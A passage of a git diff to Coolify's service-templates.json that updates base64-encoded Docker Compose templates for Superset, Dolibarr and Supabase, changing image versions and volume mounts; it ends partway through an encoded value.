"c2VydmljZXM6CiAgc3VwZXJzZXQ6CiAgICBpbWFnZTogJ2FtYW5jZXZpY2Uvc3VwZXJzZXQ6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfU1VQRVJTRVRfODA4OAogICAgICAtICdTRUNSRVRfS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfU1VQRVJTRVRTRUNSRVRLRVl9JwogICAgICAtICdNQVBCT1hfQVBJX0tFWT0ke01BUEJPWF9BUElfS0VZfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LXN1cGVyc2V0LWRifScKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3N1cGVyc2V0L3N1cGVyc2V0X2NvbmZpZy5weQogICAgICAgIHRhcmdldDogL2V0Yy9zdXBlcnNldC9zdXBlcnNldF9jb25maWcucHkKICAgICAgICBjb250ZW50OiAiXCJcIlwiXG5Gb3IgbW9yZSBjb25maWd1cmF0aW9uIG9wdGlvbnMsIHNlZTpcbi0gaHR0cHM6Ly9zdXBlcnNldC5hcGFjaGUub3JnL2RvY3MvY29uZmlndXJhdGlvbi9jb25maWd1cmluZy1zdXBlcnNldFxuXCJcIlwiXG5cbmltcG9ydCBvc1xuXG5TRUNSRVRfS0VZID0gb3MuZ2V0ZW52KFwiU0VDUkVUX0tFWVwiKVxuTUFQQk9YX0FQSV9LRVkgPSBvcy5nZXRlbnYoXCJNQVBCT1hfQVBJX0tFWVwiLCBcIlwiKVxuXG5DQUNIRV9DT05GSUcgPSB7XG4gIFwiQ0FDSEVfVFlQRVwiOiBcIlJlZGlzQ2FjaGVcIixcbiAgXCJDQUNIRV9ERUZBVUxUX1RJTUVPVVRcIjogMzAwLFxuICBcIkNBQ0hFX0tFWV9QUkVGSVhcIjogXCJzdXBlcnNldF9cIixcbiAgXCJDQUNIRV9SRURJU19IT1NUXCI6IFwicmVkaXNcIixcbiAgXCJDQUNIRV9SRURJU19QT1JUXCI6IDYzNzksXG4gIFwiQ0FDSEVfUkVESVNfREJcIjogMSxcbiAgXCJDQUNIRV9SRURJU19VUkxcIjogZlwicmVkaXM6Ly86e29zLmdldGVudignUkVESVNfUEFTU1dPUkQnKX1AcmVkaXM6NjM3OS8xXCIsXG59XG5cbkZJTFRFUl9TVEFURV9DQUNIRV9DT05GSUcgPSB7KipDQUNIRV9DT05GSUcsIFwiQ0FDSEVfS0VZX1BSRUZJWFwiOiBcInN1cGVyc2V0X2ZpbHRlcl9cIn1cbkVYUExPUkVfRk9STV9EQVRBX0NBQ0hFX0NPTkZJRyA9IHsqKkNBQ0hFX0NPTkZJRywgXCJDQUNIRV9LRVlfUFJFRklYXCI6IFwic3VwZXJzZXRfZXhwbG9yZV9mb3JtX1wifVxuXG5TUUxBTENIRU1ZX1RSQUNLX01PRElGSUNBVElPTlMgPSBUcnVlXG5TUUxBTENIRU1ZX0RBVEFCQVNFX1VSSSA9IGZcInBvc3RncmVzcWwrcHN5Y29wZzI6Ly97b3MuZ2V0ZW52KCdQT1NUR1JFU19VU0VSJyl9Ontvcy5nZXRlbnYoJ1BPU1RHUkVTX1BBU1NXT1JEJyl9QHBvc3RncmVzOjU0MzIve29zLmdldGVudignUE9TVEdSRVNfREInKX1cIlxuXG4jIFVuY29tbWVudCBpZiB5b3Ugd2FudCB0byBsb2FkIGV4YW1wbGUgZGF0YSAodXNpbmcgXCJzdXBlcnNldCBsb2FkX2V4YW1wbGVzXCIpIGF0IHRoZVxuIyBzYW1lIGxvY2F0aW9uIGFzIHlvdXIgbWV0YWRhdGEgcG9zdGdyZXNxbCBpbnN0YW5jZS4gT3RoZXJ3aXNlLCB0aGUgZGVmYXVsdCBzcWxpdGVcbiMgd2lsbCBiZSB1c2VkLCB3aGljaCB3aWxsIG5vdCBwZXJzaXN0IGluIHZvbHVtZSB3aGVuIHJlc3RhcnRpbmcgc3VwZXJzZXQgYnkgZGVmYXVsdC5cbiNTUUxBTENIRU1ZX0VYQU1QTEVTX1VSSSA9IFNRTEFMQ0hFTVlfREFUQUJBU0VfVVJJIgogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MDg4L2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNy1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LXN1cGVyc2V0LWRifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cGVyc2V0X3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cGVyc2V0X3JlZGlzX2RhdGE6L2RhdGEnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAncmVkaXMtY2xpIHBpbmcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgc3VwZXJzZXQ6CiAgICBpbWFnZTogJ2FtYW5jZXZpY2Uvc3VwZXJzZXQ6Ni4wLjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9TVVBFUlNFVF84MDg4CiAgICAgIC0gJ1NFQ1JFVF9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TVVBFUlNFVFNFQ1JFVEtFWX0nCiAgICAgIC0gJ01BUEJPWF9BUElfS0VZPSR7TUFQQk9YX0FQSV9LRVl9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotc3VwZXJzZXQtZGJ9JwogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vc3VwZXJzZXQvc3VwZXJzZXRfY29uZmlnLnB5CiAgICAgICAgdGFyZ2V0OiAvZXRjL3N1cGVyc2V0L3N1cGVyc2V0X2NvbmZpZy5weQogICAgICAgIGNvbnRlbnQ6ICJcIlwiXCJcbkZvciBtb3JlIGNvbmZpZ3VyYXRpb24gb3B0aW9ucywgc2VlOlxuLSBodHRwczovL3N1cGVyc2V0LmFwYWNoZS5vcmcvZG9jcy9jb25maWd1cmF0aW9uL2NvbmZpZ3VyaW5nLXN1cGVyc2V0XG5cIlwiXCJcblxuaW1wb3J0IG9zXG5cblNFQ1JFVF9LRVkgPSBvcy5nZXRlbnYoXCJTRUNSRVRfS0VZXCIpXG5NQVBCT1hfQVBJX0tFWSA9IG9zLmdldGVudihcIk1BUEJPWF9BUElfS0VZXCIsIFwiXCIpXG5cbkNBQ0hFX0NPTkZJRyA9IHtcbiAgXCJDQUNIRV9UWVBFXCI6IFwiUmVkaXNDYWNoZVwiLFxuICBcIkNBQ0hFX0RFRkFVTFRfVElNRU9VVFwiOiAzMDAsXG4gIFwiQ0FDSEVfS0VZX1BSRUZJWFwiOiBcInN1cGVyc2V0X1wiLFxuICBcIkNBQ0hFX1JFRElTX0hPU1RcIjogXCJyZWRpc1wiLFxuICBcIkNBQ0hFX1JFRElTX1BPUlRcIjogNjM3OSxcbiAgXCJDQUNIRV9SRURJU19EQlwiOiAxLFxuICBcIkNBQ0hFX1JFRElTX1VSTFwiOiBmXCJyZWRpczovLzp7b3MuZ2V0ZW52KCdSRURJU19QQVNTV09SRCcpfUByZWRpczo2Mzc5LzFcIixcbn1cblxuRklMVEVSX1NUQVRFX0NBQ0hFX0NPTkZJRyA9IHsqKkNBQ0hFX0NPTkZJRywgXCJDQUNIRV9LRVlfUFJFRklYXCI6IFwic3VwZXJzZXRfZmlsdGVyX1wifVxuRVhQTE9SRV9GT1JNX0RBVEFfQ0FDSEVfQ09ORklHID0geyoqQ0FDSEVfQ09ORklHLCBcIkNBQ0hFX0tFWV9QUkVGSVhcIjogXCJzdXBlcnNldF9leHBsb3JlX2Zvcm1fXCJ9XG5cblNRTEFMQ0hFTVlfVFJBQ0tfTU9ESUZJQ0FUSU9OUyA9IFRydWVcblNRTEFMQ0hFTVlfREFUQUJBU0VfVVJJID0gZlwicG9zdGdyZXNxbCtwc3ljb3BnMjovL3tvcy5nZXRlbnYoJ1BPU1RHUkVTX1VTRVInKX06e29zLmdldGVudignUE9TVEdSRVNfUEFTU1dPUkQnKX1AcG9zdGdyZXM6NTQzMi97b3MuZ2V0ZW52KCdQT1NUR1JFU19EQicpfVwiXG5cbiMgVW5jb21tZW50IGlmIHlvdSB3YW50IHRvIGxvYWQgZXhhbXBsZSBkYXRhICh1c2luZyBcInN1cGVyc2V0IGxvYWRfZXhhbXBsZXNcIikgYXQgdGhlXG4jIHNhbWUgbG9jYXRpb24gYXMgeW91ciBtZXRhZGF0YSBwb3N0Z3Jlc3FsIGluc3RhbmNlLiBPdGhlcndpc2UsIHRoZSBkZWZhdWx0IHNxbGl0ZVxuIyB3aWxsIGJlIHVzZWQsIHdoaWNoIHdpbGwgbm90IHBlcnNpc3QgaW4gdm9sdW1lIHdoZW4gcmVzdGFydGluZyBzdXBlcnNldCBieSBkZWZhdWx0LlxuI1NRTEFMQ0hFTVlfRVhBTVBMRVNfVVJJID0gU1FMQUxDSEVNWV9EQVRBQkFTRV9VUkkiCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwODgvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE4JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1zdXBlcnNldC1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBlcnNldF9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjgnCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBlcnNldF9yZWRpc19kYXRhOi9kYXRhJwogICAgY29tbWFuZDogJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3JlZGlzLWNsaSBwaW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "analytics", "bi", diff --git a/templates/service-templates.json b/templates/service-templates.json index aae653dac..ccd00c04c 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -851,7 +851,7 @@ "dolibarr": { "documentation": "https://www.dolibarr.org/documentation-home.php?utm_source=coolify.io", "slogan": "Dolibarr is a modern software package to manage your organization's activity (contacts, quotes, invoices, orders, stocks, agenda, hr, expense reports, accountancy, ecm, manufacturing, ...).", - "compose": "c2VydmljZXM6CiAgZG9saWJhcnI6CiAgICBpbWFnZTogJ2RvbGliYXJyL2RvbGliYXJyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9ET0xJQkFSUl84MAogICAgICAtICdXV1dfVVNFUl9JRD0ke1dXV19VU0VSX0lEOi0xMDAwfScKICAgICAgLSAnV1dXX0dST1VQX0lEPSR7V1dXX0dST1VQX0lEOi0xMDAwfScKICAgICAgLSBET0xJX0RCX0hPU1Q9bWFyaWFkYgogICAgICAtICdET0xJX0RCX05BTUU9JHtNWVNRTF9EQVRBQkFTRTotZG9saWJhcnItZGJ9JwogICAgICAtICdET0xJX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdET0xJX0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTH0nCiAgICAgIC0gJ0RPTElfVVJMX1JPT1Q9JHtTRVJWSUNFX0ZRRE5fRE9MSUJBUlJ9JwogICAgICAtICdET0xJX0FETUlOX0xPR0lOPSR7U0VSVklDRV9VU0VSX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfRE9MSUJBUlJ9JwogICAgICAtICdET0xJX0NST049JHtET0xJX0NST046LTB9JwogICAgICAtICdET0xJX0lOSVRfREVNTz0ke0RPTElfSU5JVF9ERU1POi0wfScKICAgICAgLSAnRE9MSV9DT01QQU5ZX05BTUU9JHtET0xJX0NPTVBBTllfTkFNRTotTXlCaWdDb21wYW55fScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIG1hcmlhZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01ZU1FMX0RBVEFCQVNFPSR7TVlTUUxfREFUQUJBU0U6LWRvbGliYXJyLWRifScKICAgICAgLSAnTVlTUUxfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NWVNRTH0nCiAgICAgIC0gJ01ZU1FMX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTH0nCiAgICAgIC0gJ01ZU1FMX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JPT1R9JwogICAgdm9sdW1lczoKICAgICAgLSAnZG9saWJhcnJfbWFyaWFkYl9kYXRhOi92YXIvbGliL215c3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgZG9saWJhcnI6CiAgICBpbWFnZTogJ2RvbGliYXJyL2RvbGliYXJyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9ET0xJQkFSUl84MAogICAgICAtICdXV1dfVVNFUl9JRD0ke1dXV19VU0VSX0lEOi0xMDAwfScKICAgICAgLSAnV1dXX0dST1VQX0lEPSR7V1dXX0dST1VQX0lEOi0xMDAwfScKICAgICAgLSBET0xJX0RCX0hPU1Q9bWFyaWFkYgogICAgICAtICdET0xJX0RCX05BTUU9JHtNWVNRTF9EQVRBQkFTRTotZG9saWJhcnItZGJ9JwogICAgICAtICdET0xJX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdET0xJX0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTH0nCiAgICAgIC0gJ0RPTElfVVJMX1JPT1Q9JHtTRVJWSUNFX0ZRRE5fRE9MSUJBUlJ9JwogICAgICAtICdET0xJX0FETUlOX0xPR0lOPSR7U0VSVklDRV9VU0VSX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfRE9MSUJBUlJ9JwogICAgICAtICdET0xJX0NST049JHtET0xJX0NST046LTB9JwogICAgICAtICdET0xJX0lOSVRfREVNTz0ke0RPTElfSU5JVF9ERU1POi0wfScKICAgICAgLSAnRE9MSV9DT01QQU5ZX05BTUU9JHtET0xJX0NPTVBBTllfTkFNRTotTXlCaWdDb21wYW55fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RvbGliYXJyX2RvY3M6L3Zhci93d3cvZG9jdW1lbnRzJwogICAgICAtICdkb2xpYmFycl9jdXN0b206L3Zhci93d3cvaHRtbC9jdXN0b20nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBtYXJpYWRiOgogICAgaW1hZ2U6ICdtYXJpYWRiOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01ZU1FMX0RBVEFCQVNFOi1kb2xpYmFyci1kYn0nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgICAtICdNWVNRTF9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9ST09UfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RvbGliYXJyX21hcmlhZGJfZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "crm", "erp" @@ -4088,7 +4088,7 @@ "supabase": { "documentation": "https://supabase.io?utm_source=coolify.io", "slogan": "The open source Firebase alternative.", - "compose": "c2VydmljZXM6CiAgc3VwYWJhc2Uta29uZzoKICAgIGltYWdlOiAna29uZzoyLjguMScKICAgIGVudHJ5cG9pbnQ6ICdiYXNoIC1jICcnZXZhbCAiZWNobyBcIiQkKGNhdCB+L3RlbXAueW1sKVwiIiA+IH4va29uZy55bWwgJiYgL2RvY2tlci1lbnRyeXBvaW50LnNoIGtvbmcgZG9ja2VyLXN0YXJ0JycnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkdfODAwMAogICAgICAtICdLT05HX1BPUlRfTUFQUz00NDM6ODAwMCcKICAgICAgLSAnSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBLT05HX0RBVEFCQVNFPW9mZgogICAgICAtIEtPTkdfREVDTEFSQVRJVkVfQ09ORklHPS9ob21lL2tvbmcva29uZy55bWwKICAgICAgLSAnS09OR19ETlNfT1JERVI9TEFTVCxBLENOQU1FJwogICAgICAtICdLT05HX1BMVUdJTlM9cmVxdWVzdC10cmFuc2Zvcm1lcixjb3JzLGtleS1hdXRoLGFjbCxiYXNpYy1hdXRoJwogICAgICAtIEtPTkdfTkdJTlhfUFJPWFlfUFJPWFlfQlVGRkVSX1NJWkU9MTYwawogICAgICAtICdLT05HX05HSU5YX1BST1hZX1BST1hZX0JVRkZFUlM9NjQgMTYwaycKICAgICAgLSAnU1VQQUJBU0VfQU5PTl9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAtICdTVVBBQkFTRV9TRVJWSUNFX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VTRVJWSUNFX0tFWX0nCiAgICAgIC0gJ0RBU0hCT0FSRF9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0RBU0hCT0FSRF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQURNSU59JwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9hcGkva29uZy55bWwKICAgICAgICB0YXJnZXQ6IC9ob21lL2tvbmcvdGVtcC55bWwKICAgICAgICBjb250ZW50OiAiX2Zvcm1hdF92ZXJzaW9uOiAnMi4xJ1xuX3RyYW5zZm9ybTogdHJ1ZVxuXG4jIyNcbiMjIyBDb25zdW1lcnMgLyBVc2Vyc1xuIyMjXG5jb25zdW1lcnM6XG4gIC0gdXNlcm5hbWU6IERBU0hCT0FSRFxuICAtIHVzZXJuYW1lOiBhbm9uXG4gICAga2V5YXV0aF9jcmVkZW50aWFsczpcbiAgICAgIC0ga2V5OiAkU1VQQUJBU0VfQU5PTl9LRVlcbiAgLSB1c2VybmFtZTogc2VydmljZV9yb2xlXG4gICAga2V5YXV0aF9jcmVkZW50aWFsczpcbiAgICAgIC0ga2V5OiAkU1VQQUJBU0VfU0VSVklDRV9LRVlcblxuIyMjXG4jIyMgQWNjZXNzIENvbnRyb2wgTGlzdFxuIyMjXG5hY2xzOlxuICAtIGNvbnN1bWVyOiBhbm9uXG4gICAgZ3JvdXA6IGFub25cbiAgLSBjb25zdW1lcjogc2VydmljZV9yb2xlXG4gICAgZ3JvdXA6IGFkbWluXG5cbiMjI1xuIyMjIERhc2hib2FyZCBjcmVkZW50aWFsc1xuIyMjXG5iYXNpY2F1dGhfY3JlZGVudGlhbHM6XG4tIGNvbnN1bWVyOiBEQVNIQk9BUkRcbiAgdXNlcm5hbWU6ICREQVNIQk9BUkRfVVNFUk5BTUVcbiAgcGFzc3dvcmQ6ICREQVNIQk9BUkRfUEFTU1dPUkRcblxuXG4jIyNcbiMjIyBBUEkgUm91dGVzXG4jIyNcbnNlcnZpY2VzOlxuXG4gICMjIE9wZW4gQXV0aCByb3V0ZXNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW5cbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1hdXRoOjk5OTkvdmVyaWZ5XG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBhdXRoLXYxLW9wZW5cbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL3ZlcmlmeVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW4tY2FsbGJhY2tcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1hdXRoOjk5OTkvY2FsbGJhY2tcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1jYWxsYmFja1xuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvY2FsbGJhY2tcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gIC0gbmFtZTogYXV0aC12MS1vcGVuLWF1dGhvcml6ZVxuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9hdXRob3JpemVcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1hdXRob3JpemVcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL2F1dGhvcml6ZVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcblxuICAjIyBTZWN1cmUgQXV0aCByb3V0ZXNcbiAgLSBuYW1lOiBhdXRoLXYxXG4gICAgX2NvbW1lbnQ6ICdHb1RydWU6IC9hdXRoL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYXV0aC92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiBmYWxzZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU2VjdXJlIFJFU1Qgcm91dGVzXG4gIC0gbmFtZTogcmVzdC12MVxuICAgIF9jb21tZW50OiAnUG9zdGdSRVNUOiAvcmVzdC92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvKidcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZXN0LXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3Jlc3QvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogdHJ1ZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU2VjdXJlIEdyYXBoUUwgcm91dGVzXG4gIC0gbmF